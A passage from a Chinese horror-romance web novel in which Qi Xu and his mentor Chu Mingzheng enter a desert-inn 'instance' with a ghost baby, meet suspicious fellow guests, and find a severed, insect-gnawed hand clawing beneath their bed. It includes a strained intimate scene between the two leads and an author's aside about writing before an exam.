“主神的力量是不可违逆的,我们都知道这个事。”魏长官指了指台阶下惨死的副会长,意有所指道:“但是你借助主神狐假虎威,对自己的同胞下手,这样的行径,跟我会议里提出提高AB级副本死亡率的方案,有什么区别?” 齐栩没有反驳这话,空气里的血腥味逐渐蔓延开。 又隔了很久,他才缓慢的开口:“党同伐异……的确本质上没有区别,不过你大可以不用这么早开始跟我探讨这个问题。” “主神的力量不是普通人类肉骨凡胎可以触及的,性格更是喜怒无常,谁知道下一个倒在地上被掰掉脑袋的人是不是你我。” 魏长官神色大变,被这话中所蕴含深意惊得不寒而栗:“齐栩!” “等我躺在地上的那一天,你再兔死狐悲也不迟,现在还有点为时过早。”齐栩拍了拍他的肩膀,讽刺意味十足道。 说完他就没再搭理眼下的这群人了,径直大步走进主控中心大厅。 大厅门口聚集着看热闹的人登时一哄而散,纷纷回到自己岗位上去了。 齐栩穿过主控大厅,熟门熟路的走到重兵把守的走廊,一路上灯光幽暗,直至尽头。 铜色巨门站在走廊尽头,缓缓朝他张开了怀抱。 齐栩没有做别的多余的动作,穿过巨门,走到熟悉的图腾前,从善如流的单膝下跪,低声恭敬的道了声:“主神。” 身后巨门缓缓合拢,将他一个人关在了这间阴森的巨型密室里。 空气中回荡着嗡嗡作响的细碎轰鸣,仿佛另一个时空维度的生物在隔着玻璃罩低语。 “我最近,是不是对你太过纵容了?”头顶那个声音饶有兴致的问道。 “导致你觉得可以借我的手,肆无忌惮的处置你想处置的人,也不必为此付出代价。” 齐栩跪在地上,一声不吭,末了俯身朝地板又磕了个头,仍旧不说任何话。 “回答我的话,齐栩,刚才在殿外,不是讲话讲的很好吗?” 齐栩在脑海里着重标红了“殿外”两个字,他闭了一下眼睛,抬头直视着对岸那幅狰狞的图腾回答道:“属下不敢。” 图腾安静的垂落高空,无风自动。 “算了。”那声音幽幽的道:“就当我纵容你好了。” “谁让你是我在这个时代,最亲爱的共生者呢……” …… 楚明铮蹲在摇篮床前研究小鬼婴的生理结构。 楚小妙在一旁凑过脸来:“哥,你说他用得着尿不湿吗?” “废话,那这是什么?”楚明铮一指小鬼婴裤子里那一大包东西,没好气的道。 “哎呦,看起来确实该换了,哥你加油,我先去找老马了啊!”楚小妙火速闪人,连一秒都不带犹豫的。 楚明铮:“……” 他捏着鼻子,给小鬼婴换了尿不湿,心里的疑虑更上一个台阶。 从目前的日常生活来看,这个小鬼婴完完全全跟普通婴儿没有区别。 要吃奶粉,要喝热水,晚上要人哄睡,白天还要换尿不湿。 唯独就是没有心跳和呼吸。 嘶……没有心跳和呼吸,他这个身体内部结构是怎么运行的呢? 楚明铮百思不得其解。 如果不是齐栩容易爆炸的话,他还真想把这小鬼婴解剖开看看,看看这鬼孩子的身体里到底是个什么结构。 门口传来一声“长官好”,齐栩回来了。 楚明铮火速把孩子的被子盖好,以免齐栩看出来他的意图,又给他找麻烦。 齐栩脱了外套,径直走到小鬼婴的房间里来,将下颌往楚明铮肩头上一搁,疲倦道:“师父……” “嗯?”楚明铮心不在焉的回答。 “我今天好累,他们今天好多人找我麻烦,第二公会把出殡现场摆我办公室门口了,那么多人就欺负我一个……” 楚明铮:“???” 第二公会残党能欺负的了你? 我怎么这么不信呢。 “真的吗?”楚明铮狐疑道。 “真的。”齐栩委屈巴巴的说。 “他们都欺负我,主控中心那姓魏的也欺负我,我当时特别无助,我就站在台阶上哭。” 楚明铮:“……” 胡说八道也得有个分寸。 “你安慰安慰我,求你了师父,我现在心口还是疼的……” “你疼着吧,顺便记得给你的鬼儿子喂奶,我要回地下室睡觉了。”楚明铮将奶粉罐拍到他胸口,转身出门。 齐栩窸窸窣窣的在房间里忙活照顾小鬼婴,楚明铮回到了卧室,却没有直接睡觉,他站在房门口等齐栩。 他知道齐栩肯定要下来找他黏糊一会儿。 果不其然,地下室门锁动静一响,齐栩的身影就蹑手蹑脚的钻进来了:“师父~” “好好说话。”楚明铮站在门口呵斥道。 “哦,好吧。”齐栩一秒正色。 不过他随即意识到楚明铮这站在门口处的姿态……好像是在等他? 齐栩有点受宠若惊。 “过来,我有话问你。”楚明铮吩咐一声,回到房间坐下了。 “好,好的。”齐栩感觉脚步有点飘忽,走路都变成了小碎步,生怕自己是在做梦。 楚明铮对于他这些娇羞的心理活动一无所知,坐在床上开门见山:“据说你是主神话事人,你跟那个主神有过近距离接触吗?” 这个问题犹如一瓢冷水,将齐栩从那个滚烫热乎的甜蜜状态一把拎出来了。 “师父你问这个干什么?” “我总得知道你每天在干什么。”楚明铮平静道:“你说你在给主神工作,但是每天跟你具体打交道的都是正常人类,主神到底真不真实存在,都是个问题。” 齐栩缓缓在他面前蹲身下来,抬头仰视着楚明铮,开口柔和道:“师父,如果主神不存在,那我们所经历的这些副本,是从哪里来的?” 楚明铮一怔。 “副本这种聚拢无数阴气冤魂,同时无法用科学解释的东西,都能出现在世界上,本身不就证明了主神的存在吗?” 楚明铮迅速抓住他话中的逻辑线:“主神存在,所以副本存在,那如果要彻底湮灭掉残害人的副本,只需要主神不存在就……” 他的话音被迫中断了。 齐栩不由分说的伸手捂住了他的嘴,楚明铮瞪大眼睛,含糊不清的从嗓子里发出声音抗议了两下。 齐栩少见的违逆了他的意思,仍旧捂住楚明铮的嘴,起身将他推倒在床上,自己也跟着翻身上去。 楚明铮被他锁在臂弯里,禁锢住嘴不让说话,吐息里全是齐栩掌心里的气息,被堵的眼睛都红了。 “放开……齐栩!”楚明铮在他掌心里带着含混挣扎。 齐栩不为所动,他也不对楚明铮干别的,就这么牢牢将他搂着,但是手动禁止了他再问相关问题。 “好了打住,师父。”他柔声在楚明铮耳畔道。 “如果你再动弹,或者再向我提问这个事情,我就只好像以前一样,让你没力气说话了。” …… 楚明铮维持着这个被齐栩强行环抱的姿势,迷迷糊糊睡着了。 不知道过了多久,他在夜色里忽然睁开眼睛,一股熟悉的扭曲感扑面而来。 他挣动了一下手臂,齐栩瞬间就醒了,关切道:“怎么了师父?” 不等楚明铮回答,他自己也就意识到了,只见自己手腕上那道鲜红色的细线在隐隐颤动着,散发出别样的光芒。 “副本要传唤我进去了。”楚明铮起身收拾了一下,抬腕看了看自己跟齐栩相连接的那道红线:“看起来你也得跟着去。” 齐栩茫然无措的在床上躺着,半天没回过神来:“这么快吗,我刚从丧尸副本里出来……” “对,不仅如此,你在进丧尸副本修理唐虞非的一天前,也刚从天家山村副本里出来,齐长官好辛苦,不过你当初如果没坚持要跟我绑定在一起的话,大概也不至于这么辛苦。”楚明铮嘲讽道。 齐栩沮丧的在床上滚了一个来回,看起来懊丧十足。 不过他很快把自己说服了。 “那又怎么样,只要是和师父在一起,我一天四个副本都不害怕。”他倏然从床上跳下来,对楚明铮亢奋道。 “求你了,闭嘴吧。”楚明铮心不在焉道。 “对了,你去房间里把鬼婴带上,万一有用呢。”他吩咐齐栩。 齐栩没多说,迅速上楼抱起仍在熟睡的小鬼婴,返身回到了地下室。 小鬼婴熟睡中被颠簸吵醒,不由得嗷嗷哭闹起来。 楚明铮有点头疼:“要带奶粉吗,不然在里边他哭的没完没了怎么办?” “到时候连鬼带咱俩一并吵死,就不太合适了。” 齐栩很喜欢他跟自己说的这个词,“咱俩”。 这个词让他莫名有种跟师父好好过日子的感觉,充满了温馨。 “跟你说话呢,你莫名其妙看着我笑干什么?”楚明铮疑惑道。 “没事。”齐栩笑眯眯道:“进去他喝我的血,喝多少都行。” 空气里阴风浮动,沙沙几声电流摩擦的涌动声音,周遭空气骤然变冷,下一个瞬间,屋内三人就原地消失了身形,再无踪影。 …… 狂风飞舞,黄沙漫天。 为数不多的几缕荒草半死不活的躺在沙粒间,抬眼望去,渺远的沙丘仿佛被晕染过的昏黄油彩,由近及远,连绵不绝,一眼看不到边际。 楚明铮睁开眼睛的瞬间,只觉一捧黄沙扑面而来,侵袭进他毫无防备的嘴唇和眼睛里,狂风里的沙粒硌的楚明铮皮肤生疼,周遭的空气也是干冷的,呼吸进肺腔里就全数变成了苦涩的味道。 他伸手扶了一下地面,掌心瞬间陷进松软的沙地里,难以直起身体。 这是个荒无人烟的沙漠,楚明铮目之所及找不到一丝人类生活的影子。 他艰难的伏在沙地上,被喉咙里的沙子呛的干咳半晌,然后手臂和腰身忽然被人用力一拽,从旁搀扶起来。 楚明铮勉强回头,齐栩一手抱着小鬼婴,一手伸出来,轻轻拍了几下他身上的沙土,将他扶稳站好:“你还好吧,师父?” 楚明铮回道:“没事。” 师徒两人站在沙漠里,环视四下,不觉都有些凝重,这次副本的环境,显然比山村和托管班都要恶劣的多。 这个沙漠四面八方都看不到尽头,他们很有可能身处的是沙漠腹地,而不在沙漠边缘,这个副本里向外探索寻求帮助的概率不大,那背景故事就只能发生在沙漠里了。 “师父,你看那儿。”齐栩忽然指着十来米远的一处沙丘,眼睛一亮道:“那里是不是有个小房子?” 楚明铮顺着他所指的地方看去,那里果然有几间屋子,而且外观朴实,视线清晰,屋顶映在地上的影子都清晰可见。 不是海市蜃楼。 齐栩见状便扶着他,两人带着小鬼婴深一脚浅一脚的朝那里走去。 走近了再看,两人发现这是一间客栈模样的院落,推开院门走进去,为首第一间毡房里边点着昏暗的炉火。 炉火旁围坐着三个人,两男一女,都很沉默。 其中一对男女大概是情侣,紧紧挨着坐在一起,另一旁坐着那个落单的中年汉子,蓄着络腮胡须,身形很壮实,模样很凶,怀里抱着一把样式很老的火枪,一人的块头能抵得上齐栩和楚明铮加起来。 楚明铮率先推门走了进去,齐栩解开外套扣子,将小鬼婴塞进了自己怀里,紧随其后。 齐栩刚一进门,身后毡房木门无风自动,“啪”的就在他身后关上了。 楚明铮下意识寻声回头,见状心里起了一点疑虑,副本里的门自动关上,那就是人齐了的意思。 可是……他将这间毡房里的所有生物全扫视了一遍。 这个副本只有五个玩家么? 人也太少了点。 屋子中间的炉火簇簇的跳动,将满屋子的人脸上都映的通红,整个房间布置极为古老,四下只有这一处光源,被遮挡的空间里,浓重的阴影打落而下。 屋里没人说话,死寂一般的安静,气氛诡异至极—— 作者有话说:明天考四级,今天图书馆不让坐了,说是要腾考场,我抱着电脑满学校乱窜着找地方码字[爆哭] 在楼道用手机写了两千,等咖啡的时候蹭暖气写了几千,最后在食堂又补了两千收尾[爆哭][爆哭][爆哭]中途无数人打扰,无数叽叽喳喳吵闹打断思路,希望今天的更新看起来没有那么前言不搭后语[爆哭][爆哭] 第58章 沙漠,干尸(二) “只能是死人。”李…… 坐的离火炉最近的那个姑娘一直在神游天外。 她坐在男友身侧低头想事情,仿佛隔了一会儿才猛然从自己的世界里惊醒过来,顺便才察觉到了齐栩和楚明铮的存在。 她不安的看了看一旁的男友,又看了看对面的中年人。 这两个男人都没有给她任何眼神上的回应。 姑娘的神色看起来十分不安,但是她还是壮着胆子,轻声细语的开口了:“您二位,也是跟我们一样的人吗?” “跟我们一样的人?” 这表述在齐栩听来颇为奇怪,不过他也没多想,毕竟多说多错,为了慎重起见,他没回答是,也没说不是,只是朝那姑娘简单的点了点头。 一旁抱着火枪的魁梧男人重重的咳嗽了一声,喉咙里仿佛化着老痰,开口时声音沙哑而干涩,音量放的很低,透出一种阴沉沉的气息来。 “两位既然来了,就做个自我介绍吧,我们也好知道,跟我们投宿一家旅店的人,是什么来头。” 齐栩点头,没有异议:“我叫许祁川,来自东边的城市,到这里就是路过,今天天色太晚,沙漠里无处可去,就只能先进来投宿了。” 他顺带一杵楚明铮的手臂,对屋子里的几人道:“这是我哥哥,他身体不好,一直需要人照顾,话也说不利索,诸位有什么事情,跟我说就好。” 楚明铮眼睛一横,心说你才连话都说不利索呢。 齐栩假装没看到他挖过来的眼神,仍然神色自若的面对着一屋子人。 那对青年男女显然对于齐栩的自我介绍不是那么关心,事实上他俩对彼此也不太关心,尽管坐在一起,但却没有一点情侣间的黏腻和亲热举动。 男孩一直神经质的用手指甲盖扣着沙发上毛毯的边缘,时不时把手指放到嘴巴边上,哆哆嗦嗦的啃几口手上的死皮。 女孩自始至终神情紧张,用纤瘦白皙的十根手指紧紧攥住衣角,将指关节都攥的发白。 楚明铮站在齐栩身后的阴影里,不动声色的将这些细节全都观察了一遍,记入脑海。 络腮胡中年人抱着那杆长火枪,面带审视的看着他俩。 齐栩不卑不亢,站在原地回视,半晌微笑道:“我们可以坐下了吗?” 络腮胡男人幅度很轻的点了下头,算是不做干涉了。 齐栩将楚明铮拽到身后,让他挨着自己坐下。 楚明铮侧头打量了几秒钟这年轻人俊朗冷锐的侧脸,心里升起了一丝很异样的感觉。 自从他重生跟齐栩一起过副本以来,齐栩似乎一直在他面前扮演一个“照顾者”和“保护者”的形象,好像很刻意的在跟他进行师徒之间的身份对换。 一举一动都在无声的昭示着:我长大了,我现在也能保护你了,师父也可以在我的羽翼下呆着了。 楚明铮从他的行为推测出了此人的心理活动,不过他其实并不理解就是了。 只当是年轻人莫名其妙的表现欲和进步心。 “我叫李裴山。”络腮胡男人忽然开口简短道:“就是路过,借宿,没别的。” 齐栩友好的笑了笑:“跟我们一样。” 李裴山端着他那把枪,面无表情的将脸转到青年情侣的方向,什么也没说,却压迫感十足。 男青年猛然一个激灵,把自己手指的死皮撕破了,死皮之下霍然破开血洞,隐隐有血珠从指尖涌出来。 齐栩一挑眉,没发表看法。 “我我,我叫江寻,那是我女朋友,我俩也是路过,路过……” 很好,一屋子的人,给出的理由全是路过。 一个两个是路过,还可以解释成巧合,五六个人全是路过,那就必然另有隐情了。 女孩眼看着其他人都自我介绍完毕了,不由得左看看,右转看看,露出更为惊惶的神色:“我叫燕欢,就是跟对象出来玩,路过这里。” 齐栩忽然和颜悦色的开口问道:“姑娘,你害怕什么呢?” “我?我没有!”燕欢着急的连连摆手,出声辩驳道:“我没有害怕……” 齐栩笑着指了一下她的手指尖:“你在打哆嗦。” “太冷了!” “你坐在火炉正对面,火星都快烧到你的衣袖了。” 燕欢惶然一惊,倏得将自己的手臂连同衣袖从火炉旁抽了回来,脸色被火光映的更加雪白了。 “许祁川先生。”江寻僵硬的抬起脖颈,朝炉火的最边注视过来。 “嗯?”齐栩应声道。 “不要,当着我的面,欺负……我女朋友。”江寻断断续续的对他说,神情阴暗,看起来分外不高兴。 齐栩舒展眉目,收回了自己的试探,温和道:“抱歉。” 一屋子人再次陷入寂静,只有火炉里的火星子在噼里啪啦的发出声响。 就在这时,毡房的侧门被人从外边打开了,紧接着一个模样貌美的少妇掀帘而入。 她相貌漂亮,笑容明亮,一进来就跟屋子里的这几个死气沉沉的人形成了鲜明的反差,整个屋子都因为她掀帘而入的这一下变得亮堂了不少。 “晚上好,晚上好!”貌美女人笑容可掬的满屋子招呼道:“我就知道白天天气不好,今晚在我这儿留宿的人肯定多,欢迎欢迎!” 屋子里没人搭腔。 只有齐栩笑眯眯的抬头跟她也说了句晚上好。 女人也完全不介意,她把手上的东西放到火炉旁的地上,腾出手来去拿橱柜上的扇子,一边热火朝天的往炉子里扇风,一边嘴里絮絮叨叨。 “这么远赶路真是辛苦了,我给你们熬了热汤,临睡前都喝了暖暖身子吧。” “我知道,你们都是来沙漠找美人骨肉的,哎那真是传说中的好东西啊,据说沙漠里的美人骨肉,只要吃上一口,不仅能容颜永驻,还能治绝症,永得长生呢!” 齐栩和楚明铮眼中同时闪过一线光芒,副本的关键线索出现了。 楚明铮微微侧眼,瞥了眼一旁的李裴山。 只见那个络腮胡大汉正悄无声息的握紧了手中的枪杆。 女人背对着他们,仍然忙着折腾她的炉子。 齐栩咳嗽一声,打断了她的絮叨,随意问道:“老板娘,怎么称呼?” 女人从炉旁转过身来,红黄交织的暖意将她秀美典雅的面容照的温情动人,她朝齐栩露出一个灿烂的微笑:“我叫宋楚秀,是这家客栈的老板,沙漠里独此一家,厉害吧。” 齐栩笑了笑,衷心的夸赞道:“厉害。” 末了他又低声对楚明铮道:“名字里带个‘楚’字,真好听。” 楚明铮嘴唇不动的回了他一声:“滚。” “好了,时候不早,我先把房间的钥匙给诸位吧,一共三间房,这二位弟弟妹妹是情侣吧,你们俩一间,这位嘴甜的小哥,旁边那个帅哥也是你朋友?” “是的。”齐栩上前接过钥匙,对于“嘴甜的小哥”这个称呼接受十分良好。 “那这位大哥单独一间咯!给你!”宋楚秀笑意盈盈,将钥匙递给了李裴山。 “三间屋子,都挨在一起,而且刚好够分。”宋楚秀愉快道:“大家早点休息,我就住在楼上,晚上有什么需要,朝头顶喊一声就行!” 众人各自拿了钥匙,准备上楼休息。 只听身后李裴山忽然将火枪从怀中拎了出来,双手端枪,枪口朝下,但是方向直指齐栩:“站住。” 楚明铮心神一炸,下意识就要拉扯齐栩到自己身后去。 然而齐栩不慌不忙的站定脚步,回身面对着枪口,顺势将楚明铮往旁边不显眼的阴影处一推,自己抱臂跟李裴山正面相对:“怎么了?这位李大哥。” 李裴山毫不松懈,用枪口指着齐栩,朝他的前襟努了努嘴:“你,怀里藏了东西。” 齐栩一愣,随即笑出声来。 他小心翼翼的解开风衣扣子,从怀里掏出个小孩子的脑袋,认真纠正道:“这不是东西,这是我儿子。” 小鬼婴把脑袋耷拉在齐栩怀里,睡的人事不省。 李裴山见确实是个小孩,这才放松了警惕,恼怒道:“你刚才为何不把他带出来?!” “他睡着了。”齐栩安详的解释。 “为人父母,总是舍不得打扰孩子安静的睡眠,李大哥,我们可以走了吗?” 李裴山缓缓放下枪,放他们离去了。 身后那一对情侣在咬耳朵。 “那么年轻居然就有孩子了吗……”女孩茫然道。 江寻将那只布满咬痕和口水的手放在了女友的手上,神经叨叨的晃了一下脑袋,安慰道:“我们也会有的。” “只要找到美人骨肉。” …… 楚明铮回到房间里的第一件事,就是把小鬼婴从齐栩怀里扒拉了出来,连着包裹他的襁褓一起,平展的放在了床上。 齐栩稍微向前倾斜着身子,随意他摆弄,看上去乐在其中。 “你刚进门的时候是怎么把他装进衣服里,还没被人发现的?”楚明铮匪夷所思:“他居然也一声没吭,简直是天方夜谭。” “我很高,师父。”齐栩耐心的解释道:“我刚进来的时候,上半身照不到火光,那个李裴山虽然看着魁梧,但是他视线的水平线,其实在我之下。” 楚明铮不想听他对自己的身高发表优越感言,遂没好声的问:“那你后来是怎么又被发现的呢?” “那可能是起身的时候没注意,前襟太鼓了,被他看见了吧。”齐栩无奈的解释。 “那个叫李裴山的男人眼神很好,看身手和体型,应该是个猎户。” 前襟太鼓,被发现了…… 楚明铮意味不明显的看了看此人平坦的前胸,齐栩被他的眼光看的有点不好意思:“师父,你怎么这样看着我……” “没事,你以后要是发展出相关功能记得告诉我,刚好给鬼孩子买奶粉的钱就能省下了。”楚明铮嘲弄道。 齐栩:“……” 夜色已深,沙漠里的风声一入夜就变得格外尖锐,呼哨呼哨的吹鼓在毡房的屋顶,变幻成泣诉一般的哭嚎,听的人心里发毛。 这客栈的设施已经很老化了,床板很硬,但是跟天家副本里的那种大炕不一样,他们现在所躺着的这个床,是由四根柱脚撑起来的,床板和支撑的床柱子大概有些年头了。 睡起来摇摇欲坠的,在被子里稍微翻个身,身下就会发出吱呀吱呀的晃动声,听起来危险至极。 在齐栩接连翻了几个身以后,楚明铮终于忍无可忍,伸手越过中间的小鬼婴,扬手打在床铺另一侧齐栩的腰背上。 “你到底睡不睡!” 齐栩挨了这一下,短暂的安分了一小会儿。 没过多久又开始躁动不安,他猛然从床上翻身坐起,转身扭头委屈的将楚明铮看了一眼。 楚明铮盖着被子,被他三番五次的吵醒,本来已经很暴躁了,此时刚好睁眼对上这人泛着水光的幽怨眼神,不由的目瞪口呆:“你看我干什么?” “能不能好好睡觉?你今天晚上已经吵醒我四次了!”楚明铮小声怒道。 齐栩一腔委屈,刚要张口辩驳,却被楚明铮一记眼刀横过去,恶声恶气道:“你还敢瞪我?” 齐栩:“……” 齐栩呜咽一声,颓然委顿回床上,盖子被子蜷缩回去不动了。 楚明铮这才松了口气,闭眼休息。 没过多久,他身畔又是一阵窸窸窣窣的声响,楚明铮惊得一睁眼睛,低头就见齐栩正小心翼翼的将小鬼婴从两人之间挪开,自己吭哧吭哧的抱着被子挤过来,将身体紧紧挨着了楚明铮。 楚明铮:“……” “你有毛病是不是?”楚明铮侧过身去圆目怒视:“滚回去。” “不行。”齐栩小声哀求:“师父,你就让我挨着你睡吧,我一个人在床边我有点害怕……” 楚明铮简直觉得他疯了。 谁害怕? 他身边这位两三天之内手刃唐虞非,一个人对战一群人搞办公室斗争大战三百回合,还顺带抽空进了三个副本的高精力怪物吗? 齐栩的手臂已经搂了过来,横跨过了楚明铮的腰身,滚烫的胸膛紧贴着他的后背,像只暖乎乎的大狗。 楚明铮觉得自己多日以来面对齐栩时的脾气已经够好的了,没想到此人还打算蹬鼻子上脸,是可忍孰不可忍,他一拧腰身就要起来发作—— 下一秒他就感受到了齐栩身上异样的变化,楚明铮蓦然回神,终于意识到齐栩一晚上异动的来源。 两人离的太近了,事实上这个距离楚明铮不可能感受不到。 他被齐栩禁锢着腰身,身后顶撞似的压迫感越来越强,楚明铮终于久违的感受到一丝惊恐。 他压抑着恐惧,颤声警告的喊了一声对方的名字,试图唤回此人的理智:“齐栩,你松手……” “毡房门外的大缸里,有储存的饮用水,是冷水,你先拿那个冲着解决一下,听话。” 齐栩此时已经完全听不进去他说的任何话了,他的呼吸喷薄在楚明铮的脖颈间,越来越粗重,周身温度逐渐上升,将楚明铮灼烧的心惊胆战。 “这他妈是在副本里!”楚明铮用力一肘砸在齐栩腰上,怒道:“你发情也得给我选个正确的时间!” 齐栩被他一肘子砸的萎靡下去,眸中神色恍惚着,仿佛清醒了片刻。 不过手仍是没有从楚明铮的腰身上挪开。 他十分痛苦的搂着楚明铮,将额头抵在楚明铮清瘦的脊背上,喃喃低语:“我也不知道是怎么回事,师父,好像是你离我太近了,我控制不住。” “那你去外头沙漠里自己刨个坑睡!” “我不要,那就冻死了。”齐栩嘟囔着道。 他黏黏糊糊的又将脑袋凑过来,楚明铮不得不被他整个圈在怀里,气都喘不上来,只好侧身过去,背对着他,不过这个直接背对齐栩的姿势显然更危险一点。 楚明铮摇摆不定。 犹豫的间隙,齐栩加大力道伸手搂着他,将滚烫的唇吻磨蹭过楚明铮白净冰凉的锁骨和脸庞,楚明铮大半裸露在外的皮肤很快变得湿漉,他被折磨的眼睛都红了,实在忍不住,上手揪着齐栩的头发,强行逼着他松口。 “师父,我,我不动你……你就让我抱一会儿,求你了,不然我自己会把自己难受死的。” 楚明铮简直快崩溃了,压低声音怒道:“那你就去死好了……你那是只抱一会儿吗!我再说一遍,下去!” 齐栩用虎口卡住了他的下颌,又俯身过来跟他接吻,楚明铮哽咽似的喘息了几声,被吻的声气断续,终于连一句狠话都说不出来了,瘫软在床上随便他折腾。 齐栩却突然刹车,箭在弦上之时猛然悬崖勒马,“咕咚”一声,从楚明铮身上下来了。 楚明铮:“……?” 这孩子是……吃错药了? 齐栩把自己蜷缩在被褥里,看不清脸上神色,但是楚明铮能感觉到他身上在打着剧烈的寒颤。 “齐栩?”他试探性的问了一声。 齐栩不回话,仍旧缩在被子里,做鸵鸟埋头状。 “你没事吧?”楚明铮拍了拍他。 齐栩一声不响。 楚明铮终于不耐烦了,将手伸进被窝里,顺着感觉抹黑摸索,精准而强硬的扳住齐栩的下巴,强行将他的脑袋从被子里揪了出来:“问你话呢,没事吧?” “给你说了门外有凉水,出去泼一下,反正这是副本里,别把自己折腾病了,你怎么就是不听?” 齐栩被他蓦然从被窝里拎了出来,额头几缕碎发散乱,神情看起来颇为可怜。 眼眶还是红红的。 “师父。”他抬着盛满眼泪的眸子,忍着啜泣对楚明铮开口道。 楚明铮看着他那双眼睛,心里就涌上不详的预感:“你要干什么,别这么看着我,我给你说了绝对不行,这是在副本危险重重,你打算害死咱俩吗……” “你能不能,把手借我用一下?”齐栩顶着那双委屈的像兔子似的红眼睛,瑟瑟发抖的问。 楚明铮陷入沉默。 半晌,他仰头望着毡房的上空,深吸一口气,掌心朝上,一脸麻木的将手递了出去。 …… 又不知道过了多久,齐栩那边终于停下了动静,他颤巍巍的握着楚明铮酸麻的掌心,小心翼翼将楚明铮的五根手指包拢着合好,给他放回了被子底下。 “谢,谢谢你啊师父,我那个……”齐栩胆怯的支支吾吾。 “闭嘴!”楚明铮愤怒的背身盖被,一个眼神也不肯分给他了。 沙漠里的夜晚好像过的格外漫长,他们进来的时候也没有戴手表,分不清具体时间,也感知不到其中流速。 被齐栩折腾了那一遭过后,楚明铮只觉身心俱疲,带着一肚子火,连发作都找不到发作的地方,他也不敢找齐栩麻烦,他生怕万一他回头跟这小子说几句话,或者是翻身动作的时候,不小心再把齐栩的火又点起来了。 那可就太糟糕了。 楚明铮这辈子没这么窝囊过,他忍气吞声半晌,最后窝囊的睡着了。 这一觉不知道睡了多久。 睡梦中也睡不安稳,一直有人在他床底下吱吱吱的抓挠,连带着本就脆弱的床板晃动的更厉害……等等,床底下的动静! 楚明铮倏然睁开眼睛,闪电般跳起身来,警惕十足的盯着底下的床板。 他这回无比清晰的听到了那“咯吱咯吱……”的抓挠声,就从床板下传出来的,这绝对不是梦境! 楚明铮一把将齐栩也从床上拽起来了:“醒醒!” 齐栩朦朦胧胧的从床上坐起,茫然的对他道:“啊?怎么了师父?” “穿衣服,起来,这床底下有问题。”楚明铮果断吩咐道。 齐栩这下才清醒过来,三下五除二穿好衣服,顺便抱起小鬼婴,两人一鬼火速跳下床,在衣柜前方站好了。 床底下咯吱咯吱的抓挠声越来越大了,仿佛察觉到了床上的人走了,变得更加肆无忌惮,到最后几乎是用尖尖的指甲在床板上咔嚓咔嚓的狠扣木屑了。 齐栩和楚明铮对视一眼,都从彼此眼中看出了凝重的神色。 “这床太重了,一个人肯定抬不起来。”楚明铮冷静下来吩咐道:“你过去,咱俩一人一边,把床掀起来看看。” “到底是什么鬼东西。” 齐栩没有异议,立刻上前,两人一左一右,伸手扶住床沿,两个成年男人同时爆发出力量,合力将硕大的木质床架,从四脚落地的状态推上去,迫使床架九十度翻转,靠墙而立。 这时候,被床板覆盖住的地面才终于展露出来。 齐栩和楚明铮也才终于看清楚了地面上的景象。 ……他俩不约而同后退了一步。 原因无他,床底下的场景就算是对于他们两个过本无数的玩家来说,也有点过于惊悚了。 那是一只被整只砍下来的断手,手心摊开朝上,四只手指头上都沾满血渍,指甲盖里是塞的满满当当的黄色木屑——正是从他们的木质床底板扣下来的产物。 这只断手仿佛被上了发条一般,明明已经被人从腕部以下全部砍断了,但是此时却仍然疯狂的在舞动着手指,仿佛要在空中抓挠出个什么东西来。 齐栩眨了眨眼睛,偏头问他:“师父,这是谁的手?” “我怎么知道。”楚明铮莫名其妙。 “那它在干什么?”齐栩又问。 楚明铮凝神片刻,将目光从地面上的断手,移到了对面那一整块巨大的床底板上。 只见床底板已经被断手扣出一个很深的大洞了,眼看着再多扣挖几厘米,就要扣穿整个木板,伸到他俩的床上,从床底下破土而出,摸到他们躺着的被褥里了。 楚明铮想了一下自己跟一只血淋淋断手同床共枕的场景,瞬间不寒而栗。 齐栩显然也想到了这一点,面上露出一阵嫌恶。 “你说这个手,会不会跟那个老板娘说的什么‘美人骨血’有关系?”齐栩思忖着问楚明铮。 楚明铮默然半晌,开口道:“可这只手也不美啊。” “重点是它属于‘骨血’的范畴,美不美的另说,不过肯定没有师父的手美——” “闭嘴。”楚明铮恼火道。 “好吧。”齐栩言归正传的开始分析。 “我觉得,它是想靠手指扣穿这个床底板,然后顺便把我们连后背皮肉带内脏一并扣穿。”齐栩若有所思道:“很新奇的袭击方式,我还没见过这种。” 楚明铮看了他一眼,冷冷道:“你没见过吗?” 齐栩不明所以:“我应该在哪里见过?” “看来你是真记性不好。”楚明铮慢斯条理的提示他:“绞刑架,悬崖壁,无数死人的断手从悬崖壁上长出来,张牙舞爪,随时准备着把跌落悬崖的人揪住,然后无数断手从受害者的身体里穿插而过,直到人被吊在悬崖上放干浑身血水而死,为止。” 齐栩的表情僵住了。 “我当年就是这么被鬼手放了一天一夜的血,才落下病根的。”楚明铮端详着他的表情,满眼嘲弄的道。 没错,楚明铮当年是为了救齐栩,才跳下悬崖有此一劫的,只是那时候齐栩不知道这一茬,始终对楚明铮怀怨在心,紧接着才有了后续的一系列误会和报复,楚明铮自杀,阴阳两隔。 齐栩的神色看起来极其复杂且无措,他怔怔的看着楚明铮,张口结舌不知道该说什么。 楚明铮将他这副难堪的神情打量了片刻,然后才大发慈悲的一挥手:“行了,别用那副悔不当初的眼神看我,我就是想让你知道……” “知道什么?”齐栩胆怯道。 “知道我也是会翻旧账的!”楚明铮怒道:“你以为就你记得以前那点破事吗?我也记得,记得不比你少。” “你要是再敢用小时候我对你不好的那点片段来要挟,我就跟你坐在原地,把我养你这么多年在基地的花销每一笔都掰扯清楚!” “听懂了吗!”楚明铮喝问。 齐栩含泪道:“……听懂了。” “听懂了就干活!把旁边那个油灯拿来,我要看这只手的细节。” 齐栩见他终于掠过了这一茬,不由如蒙大赦,忙不迭的将油灯举到了楚明铮手边,十分殷勤的给他举着照灯。 油灯的光芒算不上很明亮,也就勉强比完全抹黑能强一点。 那只断手泡在油灯的光线里,手指和掌心的皮肤都呈现死白色,白里泛青,颜色灰败。 五指十分机械的一张一合,在空中乱扣乱抓,也完全摸不清章法,指甲缝里的黄色木屑随着它在虚空里张合的动作在扑簌簌的掉落。 他再定睛一看,忽然找到了不对劲的地方。 齐栩也找到了:“师父,你看那只手的腕骨处。” “它手腕齐根断掉的地方,好像有虫子。” 两人对视一眼,同时噤声,生怕说话声音大了惊扰了虫子。 那是一群模样很奇怪的黑色甲虫,一整个大拇指指甲盖大小,趴在断手血肉模糊的截面处肆意啃食,吮吸其中的黑血和仅剩养分。 断手的手指仍然在空中疯狂抓挠拍打。 楚明铮慢慢道:“它想甩掉这些虫子……或者是用手指挠掉它们,但是它只是一只手,没有连接脑子和眼睛,找不到具体的虫子在哪儿,只能漫无目的的在空中这样乱抓。” “还顺便扣坏了我们的床板。”齐栩小声道。 